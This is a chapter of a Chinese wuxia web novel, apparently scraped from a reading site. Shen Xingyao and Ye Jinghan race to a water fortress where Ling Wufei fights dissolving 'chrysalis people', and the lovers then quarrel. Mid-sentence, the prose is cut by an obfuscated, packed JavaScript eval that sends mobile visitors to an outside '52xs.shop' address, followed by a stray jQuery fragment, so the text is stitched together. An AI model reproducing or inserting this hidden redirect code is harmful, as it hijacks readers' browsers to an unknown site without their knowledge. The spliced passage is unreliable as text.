“我遭人算计,九死一生,回来的第一件事,便是去钧天阁找你。”叶惊寒坦然道,“谁知却听说,他失忆两月有余,性情大变,已把你逼出家门。”
“事情没那么严重,只是我自己想明白了一些事。”沈星遥情念已断,听到这番话,心绪丝毫未起波澜,“那后来呢?”
“我娘过世,我回去安葬了她,这才有空来帮你。”叶惊寒提起叶颂楠时,眼底神色,有一瞬变得复杂,但又很快恢复如常,“烈云海胜了段逸朗,打着天下第一的旗号招摇过市,我看不惯,只想给他点教训。谁知这些人的手段,远超我预料——”
“路上说。”沈星遥出城本是为了赶去救下飞龙寨那帮蠢材,眼见贺尧已被击退,便立刻往水寨方向走去。
“你要去哪?”叶惊寒不紧不慢跟上她的脚步。
“救人。”
“救什么人?”
“飞龙寨。”沈星遥道,“虽说他们听信谣言,差点沦为飞龙寨的爪牙,但至少本性不坏,也没伤过人,就这样死在万刀门手里,实在可怜。”
“可你被人拦住,耽误了这么久,现在赶去可还来得及?”
“凌无非早就蹲守在那儿,应能抵挡一阵子。”
听见凌无非的名字,叶惊寒脸色微微一变,却还是加快脚步跟上,走在她身旁:“你和他不是已经……”
“桥归桥,路归路。”沈星遥顿住脚步,偏头望了他一眼,认真说道,“但事分轻重,若为儿女私情误了大事,未免太儿戏。”
叶惊寒闻言,不觉露出微笑,轻轻一摇头。
沈星遥说完,继续往前走去,却忽然像是想到何事,霍然回头对他问道:“你一回来便去见了他,可还告诉过他什么?”
“我在吕济安旧居找到一本手记,重要的几页,都已撕下带走。”叶惊寒撒起谎来面不改色,“那些我都交给了他。万刀门最重要的秘密,他应当都已知道了。”
沈星遥陡然色变:“这都什么时候了,这些事他还要瞒着我?”
叶惊寒不觉展颜,故作无奈之状,摇头说道:“看来你不把他当儿戏,他却不这么想。”
沈星遥的脸色顿时沉了下来,沉默片刻,继续闷头前行,淡淡丢下一句话:“记忆尽失,心智不全,同他计较……根本毫无意义。”
远在数里外水寨内的凌无非,还不知自己被人暗里将了一军。此时此刻,他正一把拉住狂躁不满的史大飞,往后狠拽一把。
史大飞这没轻没重的东西,竟把铁锹当作了刀,直接劈开一人面具,从他脸上铲下一块肉来。鲜血随之喷涌,那人却似感觉不到疼痛,仍旧挥刀向前,无惧无畏,仿佛机械一般。
“怎么同她说的……不一样?”凌无非看着眼前那张同贺尧一模一样的脸,与脸颊模糊血肉下露出的森森白骨,诧异睁大双眼。
“是郝护法!”毕明大喊。
“哪有什么‘护法’?你们都被骗了。”凌无非将心一横,劈手夺过史大飞手中铁锹,纵力一斩,那“贺尧”拿刀的右臂,立刻便同身子分了家,飞出数尺之外,伤口鲜血喷涌如注,溅得附近的草木一片猩红。
除了场面实在血腥之外,似乎并没有其他特别之处。
断了一臂的“贺尧”飞扑而来,不及近身,便已被他一铁锹削断了头颅,便是大罗金仙,怕也活不成了。
说来也怪,这厮一倒地,本如常人一般血肉铸就的身体,一转眼便成了焦黑一片,一层层化为黑水,消失不见。
然而几人身上所溅血污,却并未变色,仍是鲜红的颜色。
“娘嘞!”史大飞惊叫着跳开。
凌无非看着一地黑水,眉心倏地蹙紧。在他仅存的记忆里,自己是从未动手杀过人的,这一招下去,掌心竟已浮起薄薄一层冷汗。
“不必顾及了,动手吧,别碰到尸身,有毒。”他来不及惊讶,话音倏地沉了三分。言罢,手中苍凛已然出鞘,剑光如虹,长蛇一般探入蚁丛般的人潮——
三里之外,重阳木林中,树叶高低层叠。两道身影纵跃翻飞,直奔水寨而去。
“你说什么?”沈星遥诧异道,“卓然将你迷晕绑去,要逼你合作?怎么个合作法?”
“‘烈云海’资质不够,他想找个更中用的。”叶惊寒道,“适才拦你的那人,伤口里爬出的东西叫做‘心蛹’,心蛹分为母蛹与子蛹,母蛹可寄生于任何一人体内,七日相融,共生一体。分化出的子蛹,子蛹寄生之体,附于他人体内,结丝附壁三月,破茧而出,神识全消,五官形貌异化,与母蛹宿体一模一样,唤作‘蛹人’。”
“这些蛹人,受母蛹及其宿主操控,可如数复制对招之人所有招式,回归母蛹宿体之后,所学尽归母蛹宿主所有。卓然等人,便是利用此法,窃尽天下武学,尽归一人。以此称霸江湖。”
“荒谬。”沈星遥嗤之以鼻,“不好好习武,却用这种旁门左道。可为何还会有人听从他?”
“这世上有的是想成为天下第一之人。何况想与母蛹共生,也不是件容易的事。”叶惊寒道,“须得服用他所研制的秘药,方能续命。”
“可是当年的李温,他……”沈星遥本还有话想问,却发现前方视野豁然开阔,显已到达水寨,便即收回话茬,垫步跃至树顶,拨开繁密的枝叶,向下看去,但见寨内杀气冲天,史大飞等人拿着刀,一个个跟在凌无非身后,时刻盯着漏下的“人”,不时捅上几刀。
血光、黑水,满地流淌,场面诡异血腥,难以形容。
凌无非手中苍凛,亦已出了鞘。
沈星遥满心疑惑:凌无非为何没听他的话?这些面具人又为何与当初在鼎云堂所见的怪物,完全不同?
“蛹人寿尽,化为黑水。宿主殁,则所有蛹人骨化肉烂,化为黄脓,脓中含有剧毒。”叶惊寒抬足跨至她身旁主枝干开叉处站定,不紧不慢道。
“他果然什么都知道——”沈星遥眼中失望之色不言而喻,却并未多说什么,飞身跃下,稳稳落于平地。
凌无非远远瞥见她的身影,欣喜万分:“你来了?”
然而紧随其后,叶惊寒的出现,又令他立刻板起脸孔,一点也高兴不起来。
“你怎么会在这?”凌无非一开口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12161147|124773||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便是冲天的火药味。
“你果然是故意的。”沈星遥神情骤冷。
“什么故意的?”凌无非听得一头雾水。
她懒得废话,一腔不满与失望尽赋于刀中,玉尘光转如龙,银芒起落,不到十招,周围便已倒下一大片蛹人。
黑水气息刺鼻,嗅得人直欲作呕。
史大飞等人看得目瞪口呆。凌无非也被她这一身凛冽杀气吓得愣了神。
“看什么看?拖拖拉拉还不动手,都不想活了吗?”沈星遥骂道。
叶惊寒唇角飞掠过一抹得意的笑,旋即垫步跃起,落入人群,拔刀横扫而出。
凌无非捕捉到他眼底笑意,只觉喉中堵着一口气。刚好这时,几名蛹人朝他冲了过来,还没站稳便撞上剑锋,被他一剑抹了脖子,尸身直直倒地,顷刻化为黑水。
沈星遥接连斩碎数人面具,眼前所见,无一不是贺尧的的脸。只是这些蛹人,大半以上招式尚未成型,像是第一次出来见人似的。唯一那个习得惊风剑的领头人,早在沈星遥赶来之前,便已死于凌无非剑下。
这三人早在四年前,便已是当今江湖数一数二的高手,对上这些初成形的蛹人,几乎一招一个,根本留不下半点套招的间隙。
加之母蛹宿体身负受伤,子蛹力疲,一个个都失了精气神,即便是还蒙在鼓里的凌无非,也全不受其束缚。
是以不到一炷香的工夫,数十名蛹人便尽已化为黑水。
史大飞嫌这一身血污裹着难受,当即扯开衣襟,欲将上衫脱去。
“兄台豪爽。”叶惊寒双手环臂抱刀,目光掠过史大飞,落在沈星遥身上,“只是别忘了,这儿还有女人。”
已将衣裳拖到一半的史大飞听到这话,不由得停下了动作。
沈星遥神色如常,径自走到史大飞跟前,问道:“刚才那些人的模样你都看见了,可有你提过的那位‘郝护法’?”
“那……那也不能每个人都是吧?”史大飞结结巴巴道。
“他们不是从申州来的。”凌无非走上前道,“你们收留的那位小姑娘,正是因为遇上他们,才会家破人亡。”
他见沈星遥面色有异,又见叶惊寒在场,心想定是这厮说了什么,正待开口,却见她转身走开,连忙拔腿追上,穿过高低错落的灌木丛,来到林中。
沈星遥终于停下脚步,疑惑回头:“你跟着我干什么?”
“我没有故意瞒你,我只是……”
“这么说你承认了?”沈星遥只觉得这一刻,眼前之人变得十分陌生,仿佛重新认识了他一遍。
她想不明白,他只是失忆而已,感情可以忘,人情可以断,可为何会变得如此不顾大局?
沈星遥直视他双目,神情越发失望:“我原只觉得你是没习惯如今的身份,一时别扭。如今看来,真是无知又无礼,甚至无耻。”
这话说得极为伤人,凌无非听在耳里,心下醋意与不满更是达到顶点,当即脱口而出:“我无耻?我哪无耻了?就因为没告诉你他还活着,你便说我无耻?他是你什么人,你便这么在意他的死活?”